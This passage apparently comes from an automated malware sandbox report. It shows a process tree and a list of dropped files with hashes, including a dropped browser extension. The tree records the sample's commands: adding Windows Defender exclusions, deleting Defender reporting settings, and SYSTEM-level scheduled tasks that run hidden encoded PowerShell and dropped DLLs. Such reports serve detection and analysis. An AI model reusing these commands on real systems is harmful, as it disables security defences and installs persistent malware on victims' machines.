                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\dQQdYJnyZsrajfVB /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:3688
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\dQQdYJnyZsrajfVB /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:5004
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                              3⤵
                                                                                                                PID:4556
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:3672
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:4940
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu /t REG_DWORD /d 0 /reg:64
                                                                                                                    3⤵
                                                                                                                      PID:3864
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dDAaZetztCfwsYsz /t REG_DWORD /d 0 /reg:32
                                                                                                                      3⤵
                                                                                                                        PID:2128
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\dDAaZetztCfwsYsz /t REG_DWORD /d 0 /reg:64
                                                                                                                        3⤵
                                                                                                                          PID:4844
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /CREATE /TN "gRysBnIbF" /SC once /ST 00:21:14 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                        2⤵
                                                                                                                        • Creates scheduled task(s)
                                                                                                                        PID:3992
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /run /I /tn "gRysBnIbF"
                                                                                                                        2⤵
                                                                                                                          PID:5092
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /DELETE /F /TN "gRysBnIbF"
                                                                                                                          2⤵
                                                                                                                            PID:5012
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /CREATE /TN "SshSZtcazXqJzZOQn" /SC once /ST 00:34:06 /RU "SYSTEM" /TR "\"C:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exe\" NB /CXsite_idSay 525403 /S" /V1 /F
                                                                                                                            2⤵
                                                                                                                            • Drops file in Windows directory
                                                                                                                            • Creates scheduled task(s)
                                                                                                                            PID:4928
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /run /I /tn "SshSZtcazXqJzZOQn"
                                                                                                                            2⤵
                                                                                                                              PID:200
                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                            1⤵
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:1880
                                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                              2⤵
                                                                                                                                PID:1776
                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                              1⤵
                                                                                                                                PID:2672
                                                                                                                              • \??\c:\windows\system32\gpscript.exe
                                                                                                                                gpscript.exe /RefreshSystemParam
                                                                                                                                1⤵
                                                                                                                                  PID:656
                                                                                                                                • C:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exe
                                                                                                                                  C:\Windows\Temp\dDAaZetztCfwsYsz\nNevWFGiwyZTytP\wQPjNEe.exe NB /CXsite_idSay 525403 /S
                                                                                                                                  1⤵
                                                                                                                                  • Checks computer location settings
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Drops Chrome extension
                                                                                                                                  • Drops desktop.ini file(s)
                                                                                                                                  • Drops file in System32 directory
                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  PID:776
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "bYcGLrVzBmDTabgRKD"
                                                                                                                                    2⤵
                                                                                                                                      PID:2548
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                      2⤵
                                                                                                                                        PID:3252
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:4368
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                          2⤵
                                                                                                                                            PID:3788
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:4356
                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                              schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\xpXIdTsIU\hRUvdU.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jnIICxyJtqskLvj" /V1 /F
                                                                                                                                              2⤵
                                                                                                                                              • Drops file in Windows directory
                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                              PID:2300
                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                              schtasks /CREATE /TN "jnIICxyJtqskLvj2" /F /xml "C:\Program Files (x86)\xpXIdTsIU\gtaXsfu.xml" /RU "SYSTEM"
                                                                                                                                              2⤵
                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                              PID:5100
                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                              schtasks /END /TN "jnIICxyJtqskLvj"
                                                                                                                                              2⤵
                                                                                                                                                PID:3792
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "jnIICxyJtqskLvj"
                                                                                                                                                2⤵
                                                                                                                                                  PID:4056
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "NRiRZyyvGotjyJ" /F /xml "C:\Program Files (x86)\rCIrZuLOqTZU2\UvprFES.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:4780
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "mVIBpfcjHfspg2" /F /xml "C:\ProgramData\dQQdYJnyZsrajfVB\DBsqguX.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:368
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "faawfTylDFyZxhMwG2" /F /xml "C:\Program Files (x86)\JbvRANfanWfIgAmCagR\MAJhofn.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:1236
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "lJzbVduVrLyWBGIhAtG2" /F /xml "C:\Program Files (x86)\VrcJoNPXHbnqC\hpAlJRO.xml" /RU "SYSTEM"
                                                                                                                                                  2⤵
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:1528
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /CREATE /TN "IneAAIMTLAmAoaeHA" /SC once /ST 00:17:42 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\dDAaZetztCfwsYsz\FihHYJUw\PxzPwBa.dll\",#1 /vksite_idkMP 525403" /V1 /F
                                                                                                                                                  2⤵
                                                                                                                                                  • Drops file in Windows directory
                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                  PID:2936
                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                  schtasks /run /I /tn "IneAAIMTLAmAoaeHA"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:3172
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                    2⤵
                                                                                                                                                      PID:4284
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2660
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4192
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:1932
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /DELETE /F /TN "SshSZtcazXqJzZOQn"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:1268
                                                                                                                                                          • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                            c:\windows\system32\rundll32.EXE "C:\Windows\Temp\dDAaZetztCfwsYsz\FihHYJUw\PxzPwBa.dll",#1 /vksite_idkMP 525403
                                                                                                                                                            1⤵
                                                                                                                                                              PID:3896
                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                c:\windows\system32\rundll32.EXE "C:\Windows\Temp\dDAaZetztCfwsYsz\FihHYJUw\PxzPwBa.dll",#1 /vksite_idkMP 525403
                                                                                                                                                                2⤵
                                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                PID:1840
                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                  schtasks /DELETE /F /TN "IneAAIMTLAmAoaeHA"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5104

                                                                                                                                                              Network

                                                                                                                                                              MITRE ATT&CK Enterprise v15

                                                                                                                                                              Replay Monitor

                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                              Downloads

                                                                                                                                                              • C:\Program Files (x86)\JbvRANfanWfIgAmCagR\MAJhofn.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                f6a2e0d1ca283c201bcb32099d149b23

                                                                                                                                                                SHA1

                                                                                                                                                                ce6fe61e2ae52c2654233ba3f82c5f762f0c2308

                                                                                                                                                                SHA256

                                                                                                                                                                8bd8de0cd343f13b586930c4e547f13133bb9a104251b1d8cd93e42a3791806b

                                                                                                                                                                SHA512

                                                                                                                                                                f52c2ec31ec4b40d59838901ddc882f7fb9a0d5d15ab82a53e5e3be86d66a04c5e60ccb2519c2d7bef7093bfad91316254a0cc3e2d092cc29086ebb99a4db4a4

                                                                                                                                                              • C:\Program Files (x86)\VrcJoNPXHbnqC\hpAlJRO.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                ebe9f0c4d9dc879a2efec600b1633e67

                                                                                                                                                                SHA1

                                                                                                                                                                0d5bdeee5ef44cb7d795b79f77287b45bc1ebded

                                                                                                                                                                SHA256

                                                                                                                                                                57a0215d1f4afeace2cadd86256e7b66899b1edc696128e35f19c2c184b2383d

                                                                                                                                                                SHA512

                                                                                                                                                                535201d7515bd9331d698f15b355d495ddd622410ee6de10cca994b36d61562f1a589879751c90bb7260f9c6d4493d0b1770ac7bdccd26b509f5c4986a9f0788

                                                                                                                                                              • C:\Program Files (x86)\rCIrZuLOqTZU2\UvprFES.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                72d1f6af7624abc28878f1b6736ae7a8

                                                                                                                                                                SHA1

                                                                                                                                                                4d1c4b42e6ef18a4c84abc9ae9dd0b9de4e333f8

                                                                                                                                                                SHA256

                                                                                                                                                                04f7f1c178f145afbca4b097a57591142a779d53ad0c1bd02e1ec1478e733851

                                                                                                                                                                SHA512

                                                                                                                                                                0f8d1656e7cd2ed4a10dd1d31eb4d3ce2689f5dd681e4f83ad01397a3a7ce613ead0fbc1357a6af3ba4fef2a26d0a0db6812faa29af562f866a5728a9dd6cee8

                                                                                                                                                              • C:\Program Files (x86)\xpXIdTsIU\gtaXsfu.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                c10f3f38528b68b4b65e245392dbacea

                                                                                                                                                                SHA1

                                                                                                                                                                29af608fbc2ae9ec6cf97b6c7a9219b3ab4a5eb3

                                                                                                                                                                SHA256

                                                                                                                                                                9ca9072a9616f39175b09530dc9ff6fa0cb0bc279f937242fef01ba38ddc4ef4

                                                                                                                                                                SHA512

                                                                                                                                                                16e2276a23ff2363f95e13b6d428d0ce2409b2749b6fcd015d7b7c21e2d30e79989096292e06845eba5396ff24f13ace013f3ee2d28dedeb58d4485d04a3bb4e

                                                                                                                                                              • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

                                                                                                                                                                Filesize

                                                                                                                                                                1.2MB

                                                                                                                                                                MD5

                                                                                                                                                                ea94b7f7ffb7d8609cd54e88672c1595

                                                                                                                                                                SHA1

                                                                                                                                                                e2c10ba9ca4f61c69e9af507c1c37161a5f2bee2

                                                                                                                                                                SHA256

                                                                                                                                                                20bdba81af095224250583ed3e407203fe34c0fec7d213d652c2c85d643547aa

                                                                                                                                                                SHA512

                                                                                                                                                                28591672ec573b81d85c56480d02f760af69291a24786a6c4d44165104eff46f1f591e724a8d01378e03405f3f3c3155ac80fc9e42658b22894ebe6459a77e5a

                                                                                                                                                              • C:\ProgramData\dQQdYJnyZsrajfVB\DBsqguX.xml

                                                                                                                                                                Filesize

                                                                                                                                                                2KB

                                                                                                                                                                MD5

                                                                                                                                                                478f7c19f805fdbd02b4cb0baed717f9

                                                                                                                                                                SHA1

                                                                                                                                                                c42befc50d95c8381f8144a93ff799f03c918cb0

                                                                                                                                                                SHA256

                                                                                                                                                                257f6793c1d88d4508884bee2652cbb3da4d43aaf25204c2a6075ce74e68e632

                                                                                                                                                                SHA512

                                                                                                                                                                c8dd6ad4d25e8f9ae4cec5a23faafe1f5ac902eb2d4eeffd61695e3b0544c2634ceff70cd2e314b95b6963ddede90c598b44c5bd1f0b7e80c72855c008e9dbc5

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

                                                                                                                                                                Filesize

                                                                                                                                                                187B

                                                                                                                                                                MD5

                                                                                                                                                                2a1e12a4811892d95962998e184399d8

                                                                                                                                                                SHA1

                                                                                                                                                                55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                SHA256

                                                                                                                                                                32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                SHA512

                                                                                                                                                                bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

                                                                                                                                                                Filesize

                                                                                                                                                                136B

                                                                                                                                                                MD5

                                                                                                                                                                238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                SHA1

                                                                                                                                                                0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                SHA256

                                                                                                                                                                801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                SHA512

                                                                                                                                                                2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

                                                                                                                                                                Filesize

                                                                                                                                                                150B

                                                                                                                                                                MD5

                                                                                                                                                                0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                SHA1

                                                                                                                                                                6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                SHA256

                                                                                                                                                                0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                SHA512

                                                                                                                                                                5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\ijelnahiojlfbmiihbmgkaldffppfelp\1.0.0.0\_locales\vi\messages.json

                                                                                                                                                                Filesize

                                                                                                                                                                147B

                                                                                                                                                                MD5

                                                                                                                                                                2cf9f6018ecf73f93970fa7e24256bbf

                                                                                                                                                                SHA1

                                                                                                                                                                9eaa3b6cd7704a6f3844e77f34ce403ba5abcb61

                                                                                                                                                                SHA256

                                                                                                                                                                81105cf7febd6583d969d8e91545f17958dca6e62a82a6a15c252e3d76775467

                                                                                                                                                                SHA512

                                                                                                                                                                9fc329862aee1023d4993b42a8b6bc02446acde37e5f9e8400cdc3e72e3abbac8b03ea09b23383f87b767dd6e1ea9c0d53dda9a87e4a7addd0451843b07cf35f

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                                                Filesize

                                                                                                                                                                10KB

                                                                                                                                                                MD5

                                                                                                                                                                72d857b043ceb2bba46ef9130d13d369

                                                                                                                                                                SHA1

                                                                                                                                                                e040f3b3ebe0772ef51134c552107fc138982693

                                                                                                                                                                SHA256

                                                                                                                                                                5aa4f32c6159b7268a76857c3c7511fb89ae3a43614aa0d787ad878fdb97126b

                                                                                                                                                                SHA512

                                                                                                                                                                0ff3809970fb91be972d00311dfdb9c01f63875ea4894dddd8ca29d65323f7a02deb891aa238450feb421a01198b30d614264e6920660d44378ef54629d6e493

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                                Filesize

                                                                                                                                                                3KB

                                                                                                                                                                MD5

                                                                                                                                                                f6c90ab0db80c6c3ea92556fda7273c7

                                                                                                                                                                SHA1

                                                                                                                                                                01d3866b1887cbb0abe9701f6b49c5dbc66a7dfa

                                                                                                                                                                SHA256

                                                                                                                                                                a823c3b6f157c50315251d43db740ad37a736b967f0500e024e3a0f84192b269

                                                                                                                                                                SHA512

                                                                                                                                                                aa6b71e3a8fa46702787d190e3633b1ead0f66cce81065fa2262dde59c683a7fc48846fa2b0bbe94a050564855fc7a79842f0abfa53cc3315e4c766b3c4c1fbe

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                Filesize

                                                                                                                                                                1KB

                                                                                                                                                                MD5

                                                                                                                                                                dd3d8b3f401e27827016ae88f9ebe4e9

                                                                                                                                                                SHA1

                                                                                                                                                                a157da4d3f97839581f60a1b4ed388e7669483e9

                                                                                                                                                                SHA256

                                                                                                                                                                efb8d494e263291218be6285288ab02b8838ee88b12d19584c5ef77f3bafb909

                                                                                                                                                                SHA512

                                                                                                                                                                3f711a9402d48b36deaa2c3a6936c7aec559c20dc37f9774f6c377899ee3b89bae2f65c6cac47cdfe5f7822fdf6a45a17dd76e155a3169f795408fbe1efe7dec

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS2E9.tmp\Install.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.1MB

                                                                                                                                                                MD5

                                                                                                                                                                c6698a8fc1514a248a20a00995653345

                                                                                                                                                                SHA1

                                                                                                                                                                5216ce981ed48bd83ef271adedf5a03d9ba755b2

                                                                                                                                                                SHA256

                                                                                                                                                                ce9d38213886430eb2541c030346245c88744c12a6eaa288eda579ded3568d68

                                                                                                                                                                SHA512

                                                                                                                                                                f7298033ea13da300f56e8957b412f6d2cf746897fcb7b559a75e52290751500eb0aaa70fe2444d135ca819d04a8f680d28e36251250a0a247096e6c85c0a93c

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS2E9.tmp\Install.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.1MB

                                                                                                                                                                MD5

                                                                                                                                                                c6698a8fc1514a248a20a00995653345

                                                                                                                                                                SHA1

                                                                                                                                                                5216ce981ed48bd83ef271adedf5a03d9ba755b2

                                                                                                                                                                SHA256

                                                                                                                                                                ce9d38213886430eb2541c030346245c88744c12a6eaa288eda579ded3568d68

                                                                                                                                                                SHA512

                                                                                                                                                                f7298033ea13da300f56e8957b412f6d2cf746897fcb7b559a75e52290751500eb0aaa70fe2444d135ca819d04a8f680d28e36251250a0a247096e6c85c0a93c

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS5A8.tmp\Install.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                                MD5

                                                                                                                                                                156b5f562eed000e8f7b909e982ab0e5

                                                                                                                                                                SHA1

                                                                                                                                                                5377b4b0db2df54d618e7d23600796a0b93b3459

                                                                                                                                                                SHA256

                                                                                                                                                                c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88

                                                                                                                                                                SHA512

                                                                                                                                                                71815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS5A8.tmp\Install.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                                MD5

                                                                                                                                                                156b5f562eed000e8f7b909e982ab0e5

                                                                                                                                                                SHA1

                                                                                                                                                                5377b4b0db2df54d618e7d23600796a0b93b3459

                                                                                                                                                                SHA256

                                                                                                                                                                c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88

                                                                                                                                                                SHA512

                                                                                                                                                                71815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\THOAMDSqgDpavdW\FLmzpPZ.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                                MD5

                                                                                                                                                                156b5f562eed000e8f7b909e982ab0e5

                                                                                                                                                                SHA1

                                                                                                                                                                5377b4b0db2df54d618e7d23600796a0b93b3459

                                                                                                                                                                SHA256

                                                                                                                                                                c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88

                                                                                                                                                                SHA512

                                                                                                                                                                71815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\THOAMDSqgDpavdW\FLmzpPZ.exe

                                                                                                                                                                Filesize

                                                                                                                                                                6.9MB

                                                                                                                                                                MD5

                                                                                                                                                                156b5f562eed000e8f7b909e982ab0e5

                                                                                                                                                                SHA1

                                                                                                                                                                5377b4b0db2df54d618e7d23600796a0b93b3459

                                                                                                                                                                SHA256

                                                                                                                                                                c767eee3c74f14e2cf97a289ae4ba1da002032f8bdc15ee3c185badecd152b88

                                                                                                                                                                SHA512

                                                                                                                                                                71815b7a0af028f97349786d6abd3f3a7f95f8b0df124320e6e78ee8b3b74672033928b2b82d5db812594dbfd7154ad228a8ef9ec518e93730ad03868d057e80

                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2j31t4ja.yhh.ps1

                                                                                                                                                                Filesize

                                                                                                                                                                1B

                                                                                                                                                                MD5

                                                                                                                                                                c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                                                SHA1

                                                                                                                                                                356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                                                SHA256

                                                                                                                                                                6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                                                SHA512

                                                                                                                                                                4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\1foor6be.default-release\prefs.js

                                                                                                                                                                Filesize

                                                                                                                                                                7KB

                                                                                                                                                                MD5

                                                                                                                                                                a139f478756f168c02a2d04e2291475c

                                                                                                                                                                SHA1

                                                                                                                                                                f0758e59a7c7b8938d0c72043bc2a441bf867719

                                                                                                                                                                SHA256

                                                                                                                                                                6279310b5e60086d1ea41dd6ded937cc55cbb2303b970e7c79884d00ac37e975

                                                                                                                                                                SHA512

                                                                                                                                                                ac3e9327bd28426e22d166f286cf6912b5091f982483f634f26286bdea30ae096b4432416c2a167d2e6249eecb1583d49551bb47f336e1e8f678fceda1ace61f

                                                                                                                                                              • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                                Filesize

                                                                                                                                                                1KB

                                                                                                                                                                MD5

                                                                                                                                                                0f5cbdca905beb13bebdcf43fb0716bd

                                                                                                                                                                SHA1

                                                                                                                                                                9e136131389fde83297267faf6c651d420671b3f

                                                                                                                                                                SHA256

                                                                                                                                                                a99135d86804f5cf8aaeb5943c1929bd1458652a3318ab8c01aee22bb4991060

                                                                                                                                                                SHA512

                                                                                                                                                                a41d2939473cffcb6beb8b58b499441d16da8bcc22972d53b8b699b82a7dc7be0db39bcd2486edd136294eb3f1c97ddd27b2a9ff45b831579cba6896d1f776b0

                                                                                                                                                              • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                Filesize

                                                                                                                                                                12KB

                                                                                                                                                                MD5

                                                                                                                                                                f08250a2b642ce82a6c09cdc8ee17ed1

                                                                                                                                                                SHA1

